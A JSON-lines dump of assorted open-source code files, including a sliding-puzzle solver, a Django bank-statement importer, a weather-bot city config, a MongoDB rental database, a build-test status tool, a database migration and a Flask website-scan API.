+{"seq_id":"276275097","text":"\"\"\"\nDefine all possible moves\nconvert array to str\ncreate a dict for seen, key=str board_state, val=int min_move\ncreate a list for queue of pair, (str board_state, int index_of_0)\nwhile (queue is not empty and queue[0] is not 123450):\n    for move in possible moves:\n        new_board_state = q[0][0]\n        # swap zero to a possible location\n        swap(new_board_state[q[0][1]], new_board_state[q[0][move]])\n        if new_board_state not in seen:\n            seen[new_board_state] = seen[q[0][0]]+1\n            queue.append((new_board_state, move))\nreturn -1 if q is empty else seen[q[0][0]]\n\"\"\"\n\nclass Solution(object):\n    def slidingPuzzle(self, board):\n        \"\"\"\n        :type board: List[List[int]]\n        :rtype: int\n        \"\"\"\n        possible_moves = {0: [1,3], 1: [0,2,4], 2: [1,5], 3: [0,4], 4: [1,3,5], 5: [2,4]}\n        state = \"\".join([str(x) for x in board[0]]) + \"\".join([str(x) for x in board[1]])\n        \n        seen = {state: 0}\n        q = [[state, state.find(\"0\")]]\n\n        while q and q[0][0] != \"123450\":\n            cur = q.pop(0)\n            for move in possible_moves[cur[1]]:\n                new_state = [int(x) for x in cur[0]]\n                new_state[cur[1]], new_state[move] = new_state[move], new_state[cur[1]]\n                new_state = \"\".join([str(x) for x in new_state])\n                if new_state not in seen:\n                    seen[new_state] = seen[cur[0]]+1\n                    q.append([new_state, move])\n        return -1 if not q else seen[q[0][0]]","sub_path":"773-SlidingPuzzle/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"562217291","text":"from django.core.management.base import BaseCommand, CommandError\nfrom expenses import models\nfrom expenses import constants\nimport csv\nfrom datetime import datetime\nfrom itertools import islice\n\nclass Command(BaseCommand):\n    help = \"Parses a Standard Bank CSV statement.\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            '--file',\n            type=file,\n            help='Standard Bank CSV statement.'\n        )\n\n    def add_expense(self, options):\n        _, created = models.Expense.objects.get_or_create(\n            account=options['account'],\n            date=options['date'],\n            amount=options['amount'],\n            item=options['item'],\n            category=options['category'],\n            raw_data=options['raw_data'],\n        )\n\n    def get_account(self, statement, account_xy):\n        try:\n            account = next((x for i, x in enumerate(statement) if i == account_xy), None)[1]\n            acc = [k for k,v in constants.ACCOUNT_CHOICES if k == account[-3:]][0]\n            acc_type = constants.ACCOUNT_TYPES[acc]\n            return acc, acc_type\n        except (IndexError, TypeError):\n            raise CommandError('Account not determined.')\n\n    def handle(self, *args, **options):\n        self.stdout.write('Begin parsing...')\n        account_xy = 3\n        if 'statement' in options['file'].name:\n            account_xy = 2\n        statement = csv.reader(options['file'], delimiter=',', quotechar='\"')\n        acc, acc_type = self.get_account(statement, account_xy)\n        vendors = models.Vendor.objects.all()\n        settings = {\n            'std_credit_card': {\n                'start_row': 4,\n                'item_col': 4,\n                'amount_col': 3,\n                'dateformat': '%Y%m%d',\n                'account': 2,\n                'date': 1,\n\n            },\n            'std_current_acc': {\n                'start_row': 4,\n                'item_col': 5,\n                'amount_col': 3,\n                'dateformat': '%Y%m%d',\n                'account': 2,\n                'date': 1,\n            },\n            'fnb_current_acc': {\n                'start_row': 5,\n                'item_col': 3,\n                'amount_col': 1,\n                'dateformat':\n                '%Y/%m/%d',\n                'account': 3,\n                'date': 0,\n            }\n        }[acc_type]\n\n        for row in islice(statement, settings['start_row'], None):\n            if row[2] == 'CLOSE': # Don't process the last line\n                break\n            if row[settings['amount_col']].strip().startswith('-'): # Debits only\n                options = {\n                    'date': datetime.strptime(row[settings['date']], settings['dateformat']).date(),\n                    'amount': row[settings['amount_col']].strip()[1:].lstrip('0'),\n                    'raw_data': row,\n                    'account': acc,\n                }\n                item = ' '.join(row[settings['item_col']].split())\n                category = models.Category.objects.get_default_category()\n\n                for vendor in vendors:\n                    if vendor.name in item:\n                        item = vendor.pretty_name\n                        category = vendor.category\n\n                options['item'] = item\n                options['category'] = category\n                self.add_expense(options)\n        self.stdout.write(self.style.SUCCESS('Successfully imported statement.'))\n","sub_path":"expenses/management/commands/import-statement.py","file_name":"import-statement.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"509934753","text":"import re\nfrom time import sleep\nimport requests\nimport sqlite3\nimport threading\nimport datetime\nimport telebot\nfrom telebot import types\n\nf = open('/mnt/data/token.txt')\ntoken = f.read()\n\nf = open('/mnt/data/key.txt')\nkey = f.read()\n\ndb_path = '/mnt/data/users.db'\n\nnew_city = \"\"\ncity = \"\"\nnew_time = \"\"\ntime = \"\"\nuser_id = 0\nchanged = False\n\nd = {'MSK': 'Москва',\n     'SPB': 'Санкт-Петербург',\n     'NSK': 'Новосибирск',\n     'EKB': 'Екатеринбург',\n     'NNV': 'Нижний Новгород',\n     'KZN': 'Казань',\n     'CHL': 'Челябинск',\n     'OMS': 'Омск',\n     'SAM': 'Самара',\n     'RND': 'Ростов-на-Дону',\n     'UFA': 'Уфа',\n     'KRY': 'Красноярск',\n     'PRM': 'Пермь',\n     'VRN': 'Воронеж',\n     'VGG': 'Волгоград',\n     'SAR': 'Саратов',\n     'KRD': 'Краснодар',\n     'TOL': 'Тольятти',\n     'TYM': 'Тюмень',\n     'IZH': 'Ижевск',\n     'BRN': 'Барнаул',\n     'IRK': 'Иркутск',\n     'ULY': 'Ульяновск',\n     'KHB': 'Хабаровск',\n     'VLD': 'Владивосток',\n     'YAR': 'Ярославль',\n     'MKH': 'Махачкала',\n     'TOM': 'Томск',\n     'ORB': 'Оренбург',\n     'NKZ': 'Новокузнецк',\n     'KEM': 'Кемерово',\n     'RYZ': 'Рязань',\n     'AST': 'Астрахань',\n     'NCH': 'Набережные Челны',\n     'PNZ': 'Пенза',\n     'LIP': 'Липецк',\n     'KIR': 'Киров',\n     'YUL': 'Тула',\n     'CHB': 'Чебоксары',\n     'KLG': 'Калининград',\n     'KUR': 'Курск',\n     'UUD': 'Улан-Удэ',\n     'STA': 'Ставрополь',\n     'MGG': 'Магнитогорск',\n     'TVE': 'Тверь',\n     'IVA': 'Иваново',\n     'BRY': 'Брянск',\n     'SVS': 'Севастополь',\n     'SCH': 'Сочи',\n     'BEL': 'Белгород',\n     'NTG': 'Нижний Тагил',\n     'VLA': 'Владимир',\n     'ARH': 'Архангельск',\n     'KAL': 'Калуга',\n     'SUR': 'Сургут',\n     'CHI': 'Чита',\n     'SMF': 'Симферополь',\n     'SMO': 'Смоленск',\n     'VOL': 'Волжский',\n     'KRG': 'Курган',\n     'OLR': 'Орёл',\n     'CHR': 'Череповец',\n     'VLG': 'Вологда',\n     'VKZ': 'Владикавказ',\n     'MUR': 'Мурманск',\n     'SRN': 'Саранск',\n     'YKT': 'Якутск',\n     'TBV': 'Тамбов',\n     'GRZ': 'Грозный',\n     'SLT': 'Стерлитамак',\n     'KST': 'Кострома',\n     'PTR': 'Петрозаводск',\n     'NVT': 'Нижневартовск',\n     'YLA': 'Йошкар-Ола',\n     'NVR': 'Новороссийск',\n     'BAL': 'Балашиха',\n     'KNA': 'Комсомольск-на-Амуре',\n     'TGR': 'Таганрог',\n     'STK': 'Сыктывкар',\n     'NAL': 'Нальчик',\n     'SHT': 'Шахты',\n     'BRA': 'Братск',\n     'NIZ': 'Нижнекамск',\n     'DZE': 'Дзержинск',\n     'ORS': 'Орск',\n     'KHI': 'Химки',\n     'ANG': 'Ангарск',\n     'BLG': 'Благовещенск',\n     'POD': 'Подольск',\n     'VNG': 'Великий Новгород',\n     'ENG': 'Энгельс',\n     'SOK': 'Старый Оскол',\n     'KOR': 'Королёв',\n     'PSK': 'Псков',\n     'BSK': 'Бийск',\n     'PRK': 'Прокопьевск',\n     'BLK': 'Балаково',\n     'RYB': 'Рыбинск',\n     'USS': 'Южно-Сахалинск',\n     'ARM': 'Армавир',\n     'LYB': 'Люберцы',\n     'MYT': 'Мытищи',\n     'SDV': 'Северодвинск',\n     'PTK': 'Петропавловск-Камчатский',\n     'ABK': 'Абакан',\n     'NOR': 'Норильск',\n     'SYZ': 'Сызрань',\n     'NCK': 'Новочеркасск',\n     'KMU': 'Каменск-Уральский',\n     'ZLA': 'Златоуст',\n     'VGD': 'Волгодонск',\n     'USR': 'Уссурийск',\n     'EST': 'Электросталь',\n     'SAL': 'Салават',\n     'NKH': 'Находка',\n     'ALM': 'Альметьевск',\n     'MIS': 'Миасс',\n     'BER': 'Березники',\n     'KRC': 'Керчь',\n     'RUB': 'Рубцовск',\n     'PTG': 'Пятигорск',\n     'KOP': 'Копейск',\n     'KOL': 'Коломна',\n     'MKP': 'Майкоп',\n     'ODC': 'Одинцово',\n     'KOV': 'Ковров',\n     'KGS': 'Красногорск',\n     'HSV': 'Хасавюрт',\n     'KIS': 'Кисловодск',\n     'SER': 'Серпухов',\n     'NMK': 'Новомосковск',\n     'NCB': 'Новочебоксарск',\n     'PVU': 'Первоуральск',\n     'NKM': 'Нефтекамск',\n     'NUG': 'Нефтеюганск',\n     'CHE': 'Черкесск',\n     'DER': 'Дербент',\n     'OZU': 'Орехово-Зуево',\n     'BTY': 'Батайск',\n     'SHL': 'Щёлково',\n     'NEV': 'Невинномысск',\n     'DMI': 'Димитровград',\n     'NUR': 'Новый Уренгой',\n     'KYZ': 'Кызыл',\n     'KMS': 'Камышин',\n     'OKT': 'Октябрьский',\n     'DOM': 'Домодедово',\n     'MRM': 'Муром',\n     'OBN': 'Обнинск',\n     'NAZ': 'Назрань',\n     'NSH': 'Новошахтинск',\n     'ZHU': 'Жуковский',\n     'SEV': 'Северск',\n     'PUS': 'Пушкино',\n     'KSP': 'Каспийск',\n     'NOY': 'Ноябрьск',\n     'ACH': 'Ачинск',\n     'EVP': 'Евпатория',\n     'ELC': 'Елец',\n     'RAM': 'Раменское',\n     'SPS': 'Сергиев Посад',\n     'NKU': 'Новокуйбышевск',\n     'ARZ': 'Арзамас',\n     'ELS': 'Элиста',\n     'ESS': 'Ессентуки',\n     'ART': 'Артём',\n     'BRD': 'Бердск',\n     'NOG': 'Ногинск',\n     'DGP': 'Долгопрудный',\n     'МСК': 'Москва',\n     'СПБ': 'Санкт-Петербург',\n     'КНА': 'Комсомольск-на-Амуре',\n     'ОБН': 'Обнинск',\n     'ВРН': 'Воронеж',\n     'ВБГ': 'Выборг',\n     'ЕКБ': 'Екатеринбург',\n     'ИРК': 'Иркутск',\n     'КЗН': 'Казань',\n     'НОВ': 'Новгород',\n     'НСК': 'Новосибирск',\n     'ПСК': 'Псков',\n     'ТЛТ': 'Тольятти',\n     'ТМН': 'Тюмень',\n     'УРП': 'Урюпинск',\n     'ХВК': 'Хабаровск',\n     'ХКВ': 'Харьков',\n     'ННВ': 'Нижний Новгород'}\n\n","sub_path":"weather/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"478560354","text":"import csv\nimport datetime\nimport os.path\nfrom pymongo import MongoClient\nfrom types import FunctionType\nfrom functools import wraps\n\n\ndef log_time(method):\n        @wraps(method)\n        def wrapped(*args, **kwrds):\n            with open('data/timings.txt', 'a+') as timings:\n                start = datetime.datetime.now()\n                ret = method(*args, **kwrds)\n                timings.write(str(method.__qualname__) + \":\" + str((datetime.datetime.now() - start).total_seconds()) + \"\\n\")\n                return ret\n        return wrapped\n\n\nclass TimerMetaClass(type):\n\n    def __new__(meta, classname, bases, classDict):\n        newClassDict = {}\n        for attributeName, attribute in classDict.items():\n            if isinstance(attribute, FunctionType):\n                # replace it with a wrapped version\n                attribute = log_time(attribute)\n            newClassDict[attributeName] = attribute\n\n        return type.__new__(meta, classname, bases, newClassDict)\n\n\nclass FurnitureDatabase(object, metaclass=TimerMetaClass):\n\n    def __init__(self):\n\n        mongo = MongoClient('localhost:32768')\n\n        self.db = mongo['hp_norton']\n        self.db.drop_collection('products')\n        self.db.drop_collection('customers')\n        self.db.drop_collection('rentals')\n\n    def import_data(self, data_dir, *files):\n        \"\"\"\n            Load data given data directory and file name\n        \"\"\"\n        added = [0, 0, 0]\n        errors = [0, 0, 0]\n        file_number = 0\n        for filepath in files:\n            collection_name = filepath.split('.')[0]\n            with open(os.path.join(data_dir, filepath)) as file:\n                reader = csv.reader(file, delimiter=',')\n                header = False\n\n                for row in reader:\n                    try:\n                        if not header:\n                            header = [h.strip('\\ufeff') for h in row]\n                        else:\n                            data = {key: value.strip('\\ufeff') for key, value in zip(header, row)}\n                            cursor = self.db[collection_name]\n                            cursor.insert_one(data)\n                            added[file_number] += 1\n                    except Exception:\n                        errors[file_number] += 1\n                file_number += 1\n        return tuple(added), tuple(errors)\n\n\n    def show_available_products(self):\n        '''\n            Return the available product catalog\n            :returns dict of product id as key and\n                        product description, product_type and quantity_available as value\n        '''\n        available_products = {}\n        for product in iter(self.db['products'].find({'quantity_available': {'$gt': '0'}})):\n            available_products.update({product['product_id']: {\n                'description': product['description'],\n                'product_type': product['product_type'],\n                'quantity_available': product['quantity_available']\n            }})\n        return available_products\n\n\n    def show_rentals(self, product_id):\n        \"\"\"\n\n        \"\"\"\n        rental_information = {}\n\n        # List of customers renting the product\n        customers = [rental['user_id'] for rental in iter(self.db['rentals'].find({'product_id': {'$eq': product_id}}))]\n        for user in self.db['customers'].find({'user_id': {'$in': customers}}):\n            rental_information.update({user['user_id']: {\n                    'name': user['name'],\n                    'address': user['address'],\n                    'phone_number': user['phone_number'],\n                    'email': user['email']\n                }})\n        return rental_information\n\nif __name__ == '__main__':\n    db = FurnitureDatabase()\n    db.import_data('data/', 'customer.csv')\n    db.import_data('data/', 'product.csv')\n    db.import_data('data/', 'rental.csv')\n\n    print(db.show_available_products())\n    print(db.show_rentals('P000006'))\n","sub_path":"students/rimlee_talukdar/lesson10/assignment/src/databse.py","file_name":"databse.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"168709019","text":"\"\"\"\nThis module implements methods for querying status details of previous\nbuilds by buildtest. This includes a summary of all builds, number of test and\ncommand executed along with build ID. The build ID can be used to retrieve log files\nand test scripts that were generated.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom buildtest.tools.config import config_opts, BUILDTEST_BUILD_LOGFILE\nfrom buildtest.tools.file import create_dir\n\n\ndef show_status_report(args=None):\n    \"\"\"\n    This method displays history of builds conducted by buildtest. This method\n    implements command ``buildtest build report``.\n\n    :param args: command line arguments passed to buildtest\n    :type args: dict, required\n    \"\"\"\n\n    fd = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd)\n    fd.close()\n\n    print(\n        \"{:3} | {:<20} | {:<15} | {:<60} \".format(\n            \"ID\", \"Build Time\", \"Number of Tests\", \"Command\"\n        )\n    )\n\n    print(\"{:-<120}\".format(\"\"))\n    count = 0\n\n    for build_id in content[\"build\"].keys():\n\n        print(\n            \"{:3} | {:<20} | {:<15} | {:<60} \".format(\n                count,\n                content[\"build\"][build_id][\"BUILD_TIME\"],\n                content[\"build\"][build_id][\"TESTCOUNT\"],\n                content[\"build\"][build_id][\"CMD\"],\n                content[\"build\"][build_id][\"LOGFILE\"],\n            )\n        )\n        count += 1\n\n\ndef show_status_log(args):\n    \"\"\"This method opens log file using \"less\" by reading build.json\n    and fetching log file based on build id. This method implements\n    ``buildtest status log``.\n\n    :param args: command arguments passed to buildtest\n    :type args: dict, required\n    \"\"\"\n    fd = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd)\n    fd.close()\n\n    logfile = content[\"build\"][str(args.id)][\"LOGFILE\"]\n    query = f\"less {logfile}\"\n    os.system(query)\n\n\ndef show_status_test(args):\n    \"\"\" This method list tests generated from a build ID. This method\n    implements ``buildtest status test``\n\n    :param args: command line argument passed to buildtest\n    :type args: dict, required\n    \"\"\"\n\n    fd = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd)\n    fd.close()\n\n    tests = content[\"build\"][str(args.id)][\"TESTS\"]\n    [print(test) for test in tests]\n\n\ndef run_tests(args):\n    \"\"\"This method actually runs the test and display test summary with number\n        of pass/fail test and whether it passed test threshold.\"\"\"\n\n    fd1 = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd1)\n    fd1.close()\n\n    tests = content[\"build\"][str(args.id)][\"TESTS\"]\n\n    # all tests are in same directory, retrieving parent directory of test\n    test_dir = content[\"build\"][str(args.id)][\"TESTDIR\"]\n\n    runfile = datetime.now().strftime(\"buildtest_%H_%M_%d_%m_%Y.run\")\n    run_output_file = os.path.join(test_dir, \"run\", runfile)\n    create_dir(os.path.join(test_dir, \"run\"))\n    fd = open(run_output_file, \"w\")\n    count_test = len(tests)\n    passed_test = 0\n    failed_test = 0\n\n    for test in tests:\n        ret = subprocess.Popen(\n            test, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n        )\n        output = ret.communicate()[0].decode(\"utf-8\")\n\n        ret_code = ret.returncode\n        fd.write(\"Test Name:\" + test + \"\\n\")\n        fd.write(\"Return Code: \" + str(ret_code) + \"\\n\")\n        fd.write(\"---------- START OF TEST OUTPUT ---------------- \\n\")\n        fd.write(output)\n        fd.write(\"------------ END OF TEST OUTPUT ---------------- \\n\")\n\n        if ret_code == 0:\n            passed_test += 1\n        else:\n            failed_test += 1\n\n    print(f\"Running All Tests from Test Directory: {test_dir}\")\n    print\n    print\n    print(\"==============================================================\")\n    print(\"                         Test summary                         \")\n    print(f\"Executed {count_test} tests\")\n    print(f\"Passed Tests: {passed_test} Percentage: {passed_test*100/count_test}%\")\n    print(f\"Failed Tests: {failed_test} Percentage: {failed_test*100/count_test}%\")\n\n    actual_ratio = passed_test / count_test\n    success_threshold = float(config_opts[\"BUILDTEST_SUCCESS_THRESHOLD\"])\n\n    print\n    print\n    diff_ratio = abs(actual_ratio - success_threshold)\n    if actual_ratio < success_threshold:\n        print(f\"WARNING: Threshold of {success_threshold*100}% was not satisfied\")\n        print(\n            f\"{actual_ratio*100}% passed rate with a \"\n            + f\"difference of {diff_ratio:.4} from the threshold\"\n        )\n    else:\n        print(f\"SUCCESS: Threshold of {success_threshold*100}% was achieved\")\n\n    print(\"Writing results to \" + run_output_file)\n    fd.close()\n\n\ndef get_build_ids():\n    \"\"\"Return a list of build ids. This can be retrieved by getting length\n    of \"build:\" key and pass it to range() method to return a list. Build IDs\n    start from 0. This method is used as choice field in add_argument() method\n\n    :return: return a list of numbers  that represent build id\n    :rtype: list\n    \"\"\"\n\n    fd = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd)\n    fd.close()\n    total_records = len(content[\"build\"])\n    return range(total_records)\n\n\ndef get_total_build_ids():\n    \"\"\"Return a total count of build ids. This can be retrieved by getting length\n    of \"build:\" key. Build IDs start from 0.\n\n    :return: return a list of numbers  that represent build id\n    :rtype: list\n    \"\"\"\n\n    fd = open(BUILDTEST_BUILD_LOGFILE, \"r\")\n    content = json.load(fd)\n    fd.close()\n    total_records = len(content[\"build\"])\n    return total_records\n","sub_path":"buildtest/tools/buildsystem/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"395110325","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: D:\\Projects\\usersapi\\midaxusersutils\\migrations\\versions\\07ca8e2da238_.py\n# Compiled at: 2018-11-01 11:27:50\n# Size of source mod 2**32: 3609 bytes\n\"\"\"empty message\n\nRevision ID: 07ca8e2da238\nRevises: \nCreate Date: 2018-11-01 17:27:50.510106\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa, midaxusers.migration_types\nrevision = '07ca8e2da238'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\ndef upgrade():\n    op.create_table('USERS', sa.Column('id', (sa.Integer()), nullable=False), sa.Column('uuid', (midaxusers.migration_types.HybridUniqueIdentifier()), nullable=False), sa.Column('domain', sa.String(length=64), nullable=True), sa.Column('role', (sa.Integer()), nullable=True), sa.Column('active', sa.Boolean(name='bl_U_active'), server_default=(sa.text('1')), nullable=True), sa.Column('first_name', sa.String(length=64), nullable=True), sa.Column('middle_name', sa.String(length=64), nullable=True), sa.Column('last_name', sa.String(length=64), nullable=True), sa.Column('phone', sa.String(length=64), nullable=True), sa.Column('position', sa.String(length=20), nullable=True), sa.Column('time_updated', sa.DateTime(timezone=True), server_default=(sa.text('CURRENT_TIMESTAMP')), nullable=True), sa.PrimaryKeyConstraint('id', name=(op.f('pk_USERS'))), sa.UniqueConstraint('uuid', name='user_uuid_uq'))\n    op.create_index((op.f('ix_USERS_domain')), 'USERS', ['domain'], unique=False)\n    op.create_table('USER_ATTRIBUTES', sa.Column('user_uuid', (midaxusers.migration_types.HybridUniqueIdentifier()), nullable=False), sa.Column('name', sa.String(length=64), nullable=False), sa.Column('value', sa.String(length=64), nullable=True), sa.Column('time_updated', sa.DateTime(timezone=True), server_default=(sa.text('CURRENT_TIMESTAMP')), nullable=True), sa.ForeignKeyConstraint(['user_uuid'], ['USERS.uuid'], name=(op.f('fk_USER_ATTRIBUTES_user_uuid_U')), onupdate='CASCADE', ondelete='CASCADE'), sa.PrimaryKeyConstraint('user_uuid', 'name', name='userattributes_pk'))\n    op.create_index((op.f('ix_USER_ATTRIBUTES_user_uuid')), 'USER_ATTRIBUTES', ['user_uuid'], unique=False)\n    op.create_table('USER_LOGINS', sa.Column('id', (sa.Integer()), nullable=False), sa.Column('user_uuid', (midaxusers.migration_types.HybridUniqueIdentifier()), nullable=False), sa.Column('login_type', sa.String(length=40), nullable=False), sa.Column('login_key', sa.String(length=120), nullable=False), sa.Column('password_hash', sa.String(length=256), nullable=False), sa.Column('force_password_change', sa.Boolean(name='bl_UL_fpc'), server_default=(sa.text('0')), nullable=True), sa.Column('time_updated', sa.DateTime(timezone=True), server_default=(sa.text('CURRENT_TIMESTAMP')), nullable=True), sa.ForeignKeyConstraint(['user_uuid'], ['USERS.uuid'], name=(op.f('fk_USER_LOGINS_user_uuid_U')), onupdate='CASCADE', ondelete='CASCADE'), sa.PrimaryKeyConstraint('id', name=(op.f('pk_USER_LOGINS'))), sa.UniqueConstraint('login_type', 'login_key', name='login_user_uq'))\n    op.create_index((op.f('ix_USER_LOGINS_user_uuid')), 'USER_LOGINS', ['user_uuid'], unique=False)\n\n\ndef downgrade():\n    op.drop_index((op.f('ix_USER_LOGINS_user_uuid')), table_name='USER_LOGINS')\n    op.drop_table('USER_LOGINS')\n    op.drop_index((op.f('ix_USER_ATTRIBUTES_user_uuid')), table_name='USER_ATTRIBUTES')\n    op.drop_table('USER_ATTRIBUTES')\n    op.drop_index((op.f('ix_USERS_domain')), table_name='USERS')\n    op.drop_table('USERS')","sub_path":"pycfiles/midaxusers-2.0.38-py3-none-any/07ca8e2da238_.cpython-36.py","file_name":"07ca8e2da238_.cpython-36.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"125477796","text":"#11279\n\nimport sys\nimport heapq\n\nN = int(input())\nq=[]\nfor x in range(N):\n    user = int(sys.stdin.readline())\n    if user == 0 :\n        if len(q) == 0:\n            print(0)\n        else:\n            print(heapq.heappop(q)[1])\n\n    else:\n        heapq.heappush(q,(-user,user))\n\n","sub_path":"DataStructure/11279.py","file_name":"11279.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"316187033","text":"from flask import Flask\r\nfrom flask import request\r\nimport json\r\n\r\nimport modules.website_analysis as wa\r\n\r\napp = Flask(__name__)\r\n\r\n\r\ndef calc_score(data):\r\n    page_achievement = data['pages']\r\n    page_achievement = page_achievement[0]\r\n    page_achievement = page_achievement['achieved']\r\n    page_achievement = len(page_achievement)\r\n    site_achievement = data['site']\r\n    site_achievement = site_achievement['achieved']\r\n    site_achievement = len(site_achievement)\r\n    total_achievement = page_achievement + site_achievement\r\n    page_issues = data['pages']\r\n    page_issues = page_issues[0]\r\n    page_issues = page_issues['issues']\r\n    page_issues = len(page_issues)\r\n    site_issues = data['site']\r\n    site_issues = site_issues['issues']\r\n    site_issues = len(site_issues)\r\n    total_issues = page_issues + site_issues\r\n    max_score = total_issues + total_achievement\r\n\r\n    return site_achievement, page_achievement, site_issues, page_issues, total_achievement, total_issues, max_score\r\n\r\n\r\n@app.route('/')\r\ndef home():\r\n    try:\r\n        print(\"initiating scan\")\r\n        st = \"https://saket-upadhyay.github.io/\"\r\n        Spider_Object = wa.Spider(st)\r\n        print(\"crawl initiated\")\r\n        raw = Spider_Object.crawl()\r\n        print(\"crawl over\")\r\n        report = json.loads(json.dumps(raw, indent=4, separators=(',', ': ')))\r\n\r\n        data = report\r\n\r\n        site_achievement, page_achievement, site_issues, page_issues, total_achievement, total_issues, max_score = calc_score(data)\r\n        result = {'scored': total_achievement, 'max_score': max_score}\r\n\r\n        report.update(result)\r\n\r\n        return report\r\n    except:\r\n        return \"Error\"\r\n\r\n\r\n@app.route('/scan', methods=[\"GET\", \"POST\"])\r\ndef scan():\r\n    if request.method == \"POST\":\r\n        try:\r\n            site = request.form.get('site')\r\n            print(\"Scanning \" + str(site))\r\n            Spider_Object = wa.Spider(site)\r\n            print(\"Initiating Crawl\")\r\n            raw_report = Spider_Object.crawl()\r\n            print(\"Crawl Over\")\r\n            print(\"Sending response\")\r\n            report = json.loads(json.dumps(raw_report, indent=4, separators=(',', ': ')))\r\n            data = report\r\n            site_achievement, page_achievement, site_issues, page_issues, total_achievement, total_issues, max_score = calc_score(\r\n                data)\r\n            result = {'scored': total_achievement, 'max_score': max_score}\r\n\r\n            report.update(result)\r\n\r\n            return report\r\n\r\n        except:\r\n            return \"Internal Error in processing\"\r\n    elif request.method == \"GET\":\r\n        try:\r\n            site = request.args.get('site')\r\n            print(\"Scanning \" + str(site))\r\n            Spider_Object = wa.Spider(site)\r\n            print(\"Initiating Crawl\")\r\n            raw_report = Spider_Object.crawl()\r\n            print(\"Crawl Over\")\r\n            print(\"Sending response\")\r\n            report = json.loads(json.dumps(raw_report, indent=4, separators=(',', ': ')))\r\n            data = report\r\n\r\n            site_achievement, page_achievement, site_issues, page_issues, total_achievement, total_issues, max_score = calc_score(\r\n                data)\r\n            result = {'scored': total_achievement, 'max_score': max_score}\r\n\r\n            report.update(result)\r\n\r\n            return report\r\n        except:\r\n            return \"Internal Error in processing\"\r\n    else:\r\n        return \"ERROR: API accepts POST or GET requests only.\"\r\n\r\n\r\nif __name__ == '__main__':\r\n    app.run()\r\n","sub_path":"API_BE/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"2210727","text":"from parametrix.line_spectra.signal_models import M_Line_Spectra, M_Harmonic_Spectra_R\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.set_printoptions(precision=3)\n\n\"\"\" This scipts shows how to synthesize simple signals using the Line_Spectra model app. \"\"\"\n\nFe=1000\nN=100\n\n#general line spectra model\nprint(\"---- (Complex) Line Spectra Model ----\")\nf_vect=np.array([50,51.2])\nw_vect=2*np.pi*f_vect/Fe\nx=np.array([1+2j,1.2-0.3j])\nsignal_model1=M_Line_Spectra(w_vect,x,N)\nsignal_model1.Fe=Fe\nsignal_model1.plot()\nplt.title(\"Sum of two tones\")\n\n#harmonic signal model\nprint(\"---- Harmonic Signal (real) ----\")\nw0=2*np.pi/N\n\nan=np.zeros(9)\nbn=1./np.arange(1,10)\nbn[1::2]=0\nsignal_model3=M_Harmonic_Spectra_R(w0,an,bn,N)\nplt.figure()\nsignal_model3.plot()\nplt.title(\"Fourier Synthesis of a Square Waveform using Real Non Linear Signal Model\")\n\nplt.show()\n","sub_path":"examples/ex_nonlinear_signal_model.py","file_name":"ex_nonlinear_signal_model.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}